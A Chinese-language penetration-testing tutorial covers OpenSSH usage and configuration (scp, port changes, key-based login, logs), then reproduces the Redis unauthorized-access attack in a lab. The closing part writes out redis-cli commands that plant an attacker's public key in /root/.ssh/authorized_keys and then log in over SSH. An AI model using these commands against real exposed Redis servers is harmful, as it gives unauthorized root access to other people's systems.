网络安全渗透相关知识
报名入口来源:中国教育在线 2022-06-01
openssh服务
ssh概念(secure shell)
通过使用ssh,可以把传输的数据进行加密,这样中间人的攻击方式就不可能实现了,而且也能够防止DNS欺骗和IP欺骗
使用SSH,传输的数据都是经过压缩的,所以可以加快传输的速度
SSH 由很多功能,它既可以代替Telnet,又可以为FTP,Pop,也可以为PPP提供一个安全的通道
备注:Telnet是明文传输,而ssh是加密传输
SSH可以防范的攻击类型
数据包欺骗
IP或主机欺骗
口令截获
网络嗅探
插入攻击
openssh的安装与状态(启动/停止)
oepnssh默认安装在centOs中,相关安装包可以通过下面命令进行查询
yum list|grep oepnssh
服务的状态
systemctl status/start/stop sshd.service
如果服务关闭,则会导致无法远程开启服务
SSH服务的基本使用
远程连接服务器
ssh 192.168.0.200
备注:默认情况下,会使用本地的用户名连接对方的用户名,例如本地的root连接对面服务的root,如果两端用户名不一样,则需要使用-l username 指定用户名,输入正确密码后方可登录,同时变化的文件是/root/.ssh/known_hosts
在第一次登录的时候,oepnssh将会提示不知道这台登录的主机,只要输入YES,就会把这台主机的识别信息添加到known_hosts文件中,第二次登录的时候,则无需此步骤,但是如果出现错误,例如主机发生变化,则需要删除此内容,
将本机文件复制到远程服务器
scp 本地文件 username@host:服务器目录
将远程服务器上的文件复制到本机
scp username@host:文件名 本地目录
注意两点
1、如果远程服务器防火墙由特殊限制,scp便要走特殊端口,具体用什么端口视情况而定,命令如下
scp -p 4588 username@host:/farmsec.text /home/
2、使用scp要注意所使用的用户是否具有可读取远程服务器相应文件的权限
SSH server的常规配置
ssh 的配置文件是/etc/ssh/sshd_config
修改SSH端口并配置root 无法登录
使用vi 打开配置文件,将port 22进行注释取消掉,并改为2222
设置好后,保存并退出,并重启SSH服务
这之后使用ssh连接服务器就需要使用2222端口,使用22端口就无法连接
配置免密码登录
SSH无密码登录需要使用公钥与私钥
客户机(192.168.0.115)服务器(192.168.0.200)
编辑服务器配置文件,开启私钥验证
取消掉配置文件中的注释
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedkeysFile .ssh/authorized_keys
随后重启服务
systemctl restart sshd
exit退出
在客户机使用ssh -keygen 生成公钥/私钥对
cd .ssh
将秘钥文件拷贝至服务器,使用命令
ssh-copy-id username@host
随后客户机访问服务器,我们会发现直接无密码登录
而后我们修改配置文件,重新禁用root用户登录,则效果如下:
而如果我们使用另外一台主机登录,我们会发现可以通过密码的方式登录
我们可以修改配置文件中的passwordAuthentication no,可以禁止使用密码的方式
小结:登录的机子可以有私钥,被登录的机子要有登录机子的公钥,这个公钥/秘钥对一般在私钥宿机产生,
上面是用rsa算法的公钥/秘钥对,当然也可以用dsa,(对应的文件是id_dsa,id_dsa.pub)
ssh服务的日志
日志文件为/var/log/secure
可以使用如下命令进行监控
tail -f /var/log/secure用于查看正在改变的日志
大家可以自由定制所想查看的日志,例如模拟登录失败观察日志的情况
Redis未授权访问漏洞
漏洞简要说明与复现
Redis默认情况下,会绑定在0.0.0.0:6379,这样将会将Redis服务暴露在公网上
如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的/root/ssh文件夹的authotrized_keys文件中,进而可以直接登录目标服务器
docker的端口 2222 用20的端口是无法登录进去的
将公钥文件换行转存到另一个文件
(echo -e“¥n¥n”;cat id_rsd.pub;echo -e“¥n¥n”)>1.txt
cat 1.txt |redis-cli -h 192.168.0.200 -p 6379 -x set key
OK
redis-cli -h 192.168.0.200
ping
config get*
更改备份文件保存的目录
config set dir /root/.ssh
设置保存的文件名
config set dbfilename “authorized_keys”
save
连接靶机端口2222
ssh 192.168.0.200 -p 2222